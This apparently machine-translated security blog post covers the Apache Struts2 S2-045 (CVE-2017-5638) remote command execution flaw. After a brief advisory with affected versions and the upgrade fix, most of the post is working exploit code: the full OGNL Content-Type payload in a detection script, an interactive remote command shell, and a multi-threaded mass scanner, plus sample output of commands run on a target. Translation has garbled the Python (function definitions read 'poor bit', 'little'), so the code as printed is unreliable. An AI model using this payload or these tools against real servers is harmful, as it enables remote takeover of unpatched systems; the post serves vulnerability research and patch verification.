Struts2_045 vulnerability

Struts2 is a good thing

Disclaimer: * The tools in the article are for personal testing and research. Please delete them within 24 hours after downloading. Do not use them for commercial or illegal purposes.

Apache Struts 2 is exposed to remote command execution vulnerability, vulnerability number S2-045, CVE number CVE-2017-5638. When using the file upload function based on Jakarta plugin, there may be remote command execution, resulting in system hacking and vulnerability rating. For: high risk.

Vulnerability Details: A malicious user can trigger the vulnerability and execute system commands by modifying the Content-Type value in the HTTP request header when uploading the file.
Risk level: high risk.
Vulnerability risk: Hackers can implement remote command execution by exploiting vulnerabilities.
Impact version: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10.
Security version: Struts 2.3.32 or 2.5.10.1.
Fix suggestions: If you are using the Jakarta file upload plugin, please upgrade Struts to the secure version.

More references: [https://cwiki.apache.org/confluence/display/WW/S2-045] (https://cwiki.apache.org/confluence/display/WW/S2-045)

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#! -*- encoding:utf-8 -*-
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
poor bit (url):
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(url,datagen,headers=header)
response = urllib2.urlopen(request)
body=response.read()
return body
url=sys.argv[1]
body = little (url)
if "nMask" in body:
print "[Loopholes exist]",url

Poc_Cmd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
poorly (url, content = "echo nMask"):
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+content+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(url,datagen,headers=header)
response = urllib2.urlopen(request)
body=response.read()
return body
url=sys.argv[1]
body = little (url)
if "nMask" in body:
print "[Loopholes exist]",url
while 1:
con=raw_input("[cmd]>>")
print little (url, content = with)

operation result:

1
2
3
4
5
6
7
>python s2_045_cmd.py http://xxx.com/?a.action
[Loopholes exist] http://xxx.com/?a.action
[cmd]>>ls
example1
example2

Multi-threaded batch detection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import urllib2
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import threading
poor bit (url):
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
try:
request = urllib2.Request(url,datagen,headers=header)
response = urllib2.urlopen(request,timeout=5)
body=response.read()
except:
body=""
if "nMask" in body:
print "[Loopholes exist]",url
f.write(url+"\n")
else:
print "Loopholes not exist",url
if __name__=="__main__":
'''
Url.txt is the list of urls to be detected
Result.txt is the output result file detected
'''
f=open("result.txt","a")
url_list=[i.replace("\n","") for i in open("url.txt","r").readlines()]
for url in url_list:
threading.Thread(target=poc,args=(url,)).start()
while 1:
if(len(threading.enumerate())<50):
break

POC download address: https://github.com/tengzhangchao/Struts2_045-Poc

Portal

[struts2-052 vulnerability] (http://thief.one/2017/09/06/1)
[struts2-046 vulnerability] (http://thief.one/2017/03/21/Struts2-046%E6%BC%8F%E6%B4%9E/)
[struts2_045 vulnerability] (http://thief.one/2017/03/07/Struts2-045%E6%BC%8F%E6%B4%9E/)
[struts2 vulnerability poc summary] (http://thief.one/2017/03/13/Struts2%E6%BC%8F%E6%B4%9EPOC%E6%B1%87%E6%80%BB/)

本文标题:Struts2_045 vulnerability

文章作者:nmask

发布时间:2017年03月07日 - 13:03

最后更新:2019年08月16日 - 15:08

原始链接:https://thief.one/2017/03/07/Struts2-045 vulnerability/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

nmask wechat
欢迎您扫一扫上面的微信公众号,订阅我的博客!
坚持原创技术分享,您的支持将鼓励我继续创作!

热门文章推荐: